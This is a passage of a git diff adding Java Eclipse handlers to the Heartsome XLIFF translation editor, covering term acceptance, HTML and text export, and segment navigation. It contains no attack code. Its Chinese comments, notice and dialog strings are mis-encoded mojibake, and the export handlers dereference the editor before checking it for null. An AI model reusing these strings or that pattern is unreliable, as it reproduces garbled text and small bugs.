b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm6.java new file mode 100644 index 0000000..07bfc8e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm6.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm6 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(5); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm7.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm7.java new file mode 100644 index 0000000..250a354 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm7.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm7 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(6); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm8.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm8.java new file mode 100644 index 0000000..3693415 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm8.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm8 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(7); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm9.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm9.java new file mode 100644 index 0000000..7a54b08 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm9.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm9 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(8); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportAsHtmlHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportAsHtmlHandler.java new file mode 100644 index 0000000..919a1cb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportAsHtmlHandler.java @@ -0,0 +1,80 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export; + +import java.io.File; +import java.net.URI; + +import net.heartsome.cat.common.ui.utils.OpenEditorUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.ide.FileStoreEditorInput; +import org.eclipse.ui.part.FileEditorInput; + +/** + * 此类未使用,因此未åšå›½é™…化 + * @author peason + * @version + * @since JDK1.6 + */ +public class ExportAsHtmlHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String elementName = event.getParameter("elementName"); + + IEditorPart activeEditor = HandlerUtil.getActiveEditor(event); + Shell shell = activeEditor.getEditorSite().getShell(); + if (activeEditor == null || !(activeEditor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) activeEditor; + if (xliffEditor.isMultiFile()) { + MessageDialog.openInformation(shell, "", "当å‰ç¼–辑器打开了多个文件,无法执行该æ“作。"); + } + + IEditorInput input = xliffEditor.getEditorInput(); + URI uri = null; + if (input instanceof FileEditorInput) { + uri = ((FileEditorInput) input).getURI(); + } else if (input instanceof FileStoreEditorInput) { + uri = ((FileStoreEditorInput) input).getURI(); + } else { + return null; + } + File xliff = new File(uri); + + FileDialog fd = new FileDialog(shell, SWT.SAVE); + String[] names = { "HTML Files [*.html]", "All Files [*.*]" }; + String[] extensions = { "*.html", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + fd.setFilterNames(names); + + fd.setFileName(xliff.getName() + ".html"); //$NON-NLS-1$ + String out = fd.open(); + if (out == null) { + return null; + } + + XLFHandler handler = xliffEditor.getXLFHandler(); + boolean result = handler.saveAsHtml(xliff.getAbsolutePath(), out, elementName); + + if (result) { + IWorkbenchPage page = xliffEditor.getEditorSite().getPage(); + OpenEditorUtil.OpenFileWithSystemEditor(page, out); + } else { + MessageDialog.openInformation(shell, "", "文件 “" + out + "†ä¿å­˜å¤±è´¥ï¼è¯·é‡è¯•ã€‚"); + } + + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportAsTextHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportAsTextHandler.java new file mode 100644 index 0000000..04b7651 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportAsTextHandler.java @@ -0,0 +1,80 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export; + +import java.io.File; +import java.net.URI; + +import net.heartsome.cat.common.ui.utils.OpenEditorUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.ide.FileStoreEditorInput; +import org.eclipse.ui.part.FileEditorInput; + +/** + * 此类未使用,因此未åšå›½é™…化 + * @author peason + * @version + * @since JDK1.6 + */ +public class ExportAsTextHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String elementName = event.getParameter("elementName"); + + IEditorPart activeEditor = HandlerUtil.getActiveEditor(event); + Shell shell = activeEditor.getEditorSite().getShell(); + if (activeEditor == null || !(activeEditor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) activeEditor; + if (xliffEditor.isMultiFile()) { + MessageDialog.openInformation(shell, "", "当å‰ç¼–辑器打开了多个文件,无法执行该æ“作。"); + } + + IEditorInput input = xliffEditor.getEditorInput(); + URI uri = null; + if (input instanceof FileEditorInput) { + uri = ((FileEditorInput) input).getURI(); + } else if (input instanceof FileStoreEditorInput) { + uri = ((FileStoreEditorInput) input).getURI(); + } else { + return null; + } + File xliff = new File(uri); + + FileDialog fd = new FileDialog(shell, SWT.SAVE); + String[] names = { "Plain Text Files [*.txt]", "All Files [*.*]" }; + String[] extensions = { "*.txt", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + fd.setFilterNames(names); + + fd.setFileName(xliff.getName() + ".txt"); //$NON-NLS-1$ + String out = fd.open(); + if (out == null) { + return null; + } + + XLFHandler handler = xliffEditor.getXLFHandler(); + boolean result = handler.saveAsText(xliff.getAbsolutePath(), out, elementName); + + if (result) { + IWorkbenchPage page = xliffEditor.getEditorSite().getPage(); + OpenEditorUtil.OpenFileWithSystemEditor(page, out); + } else { + MessageDialog.openInformation(shell, "", "文件 “" + out + "†ä¿å­˜å¤±è´¥ï¼è¯·é‡è¯•ã€‚"); + } + + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportHandler.java new file mode 100644 index 0000000..b7558ba --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/export/ExportHandler.java @@ -0,0 +1,77 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.IExportWizard; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ExportHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(ExportHandler.class); + + private static final String PARAMETER_ID = "ExportWizardClassName"; + + public Object execute(ExecutionEvent event) throws ExecutionException { + IStructuredSelection currentSelection = getSelectionToUse(event); + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + + IExportWizard wizard = getExportWizard(event); + wizard.init(window.getWorkbench(), currentSelection); + + TSWizardDialog dialog = new TSWizardDialog(window.getShell(), wizard); + dialog.create(); + dialog.open(); + return null; + } + + /** + * 得到选中项 + * @param event + * @return ; + */ + protected IStructuredSelection getSelectionToUse(ExecutionEvent event) { + String partId = HandlerUtil.getActivePartId(event); + if (Constant.NAVIGATOR_VIEW_ID.equals(partId)) { + ISelection selection = HandlerUtil.getCurrentSelection(event); + if (selection instanceof IStructuredSelection) { + return (IStructuredSelection) selection; + } + } + return StructuredSelection.EMPTY; + } + + /** + * 得到导出å‘导 + * @param event + * @return ; + */ + protected IExportWizard getExportWizard(ExecutionEvent event) { + String wizardClassName = event.getParameter(PARAMETER_ID); + try { + Object obj = Class.forName(wizardClassName).newInstance(); + if (IExportWizard.class.isInstance(obj)) { + return (IExportWizard) obj; + } + } catch (ClassNotFoundException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (InstantiationException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (IllegalAccessException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowFirstSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowFirstSegmentHandler.java new file mode 100644 index 0000000..7f0c271 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowFirstSegmentHandler.java @@ -0,0 +1,30 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到第一个文本段 + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowFirstSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + + xliffEditor.jumpToRow(0); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowLastSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowLastSegmentHandler.java new file mode 100644 index 0000000..4a318b2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowLastSegmentHandler.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 跳转到最åŽä¸€ä¸ªæ–‡æœ¬æ®µ + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowLastSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + int lastRow = handler.countEditableTransUnit() - 1; + xliffEditor.jumpToRow(lastRow); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextFuzzyHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextFuzzyHandler.java new file mode 100644 index 0000000..bfd2eb6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextFuzzyHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到下一模糊匹é…文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowNextFuzzyHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getNextFuzzySegmentIndex(lastSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸‹ä¸€æ¨¡ç³ŠåŒ¹é…文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextNoteHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextNoteHandler.java new file mode 100644 index 0000000..4a75ba9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextNoteHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到下一个带批注的文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowNextNoteHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getNextNoteSegmentIndex(lastSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸‹ä¸€ä¸ªå¸¦æ‰¹æ³¨çš„文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextSegmentHandler.java new file mode 100644 index 0000000..5d001ba --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextSegmentHandler.java @@ -0,0 +1,43 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 跳转到下一个文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowNextSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + int lastRow = handler.countEditableTransUnit() - 1; + if (lastSelectedRow == lastRow) { + lastSelectedRow = lastRow - 1; + } + xliffEditor.jumpToRow(lastSelectedRow + 1); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUnapprovedHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUnapprovedHandler.java new file mode 100644 index 0000000..45b27db --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUnapprovedHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到下一未批准文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowNextUnapprovedHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = 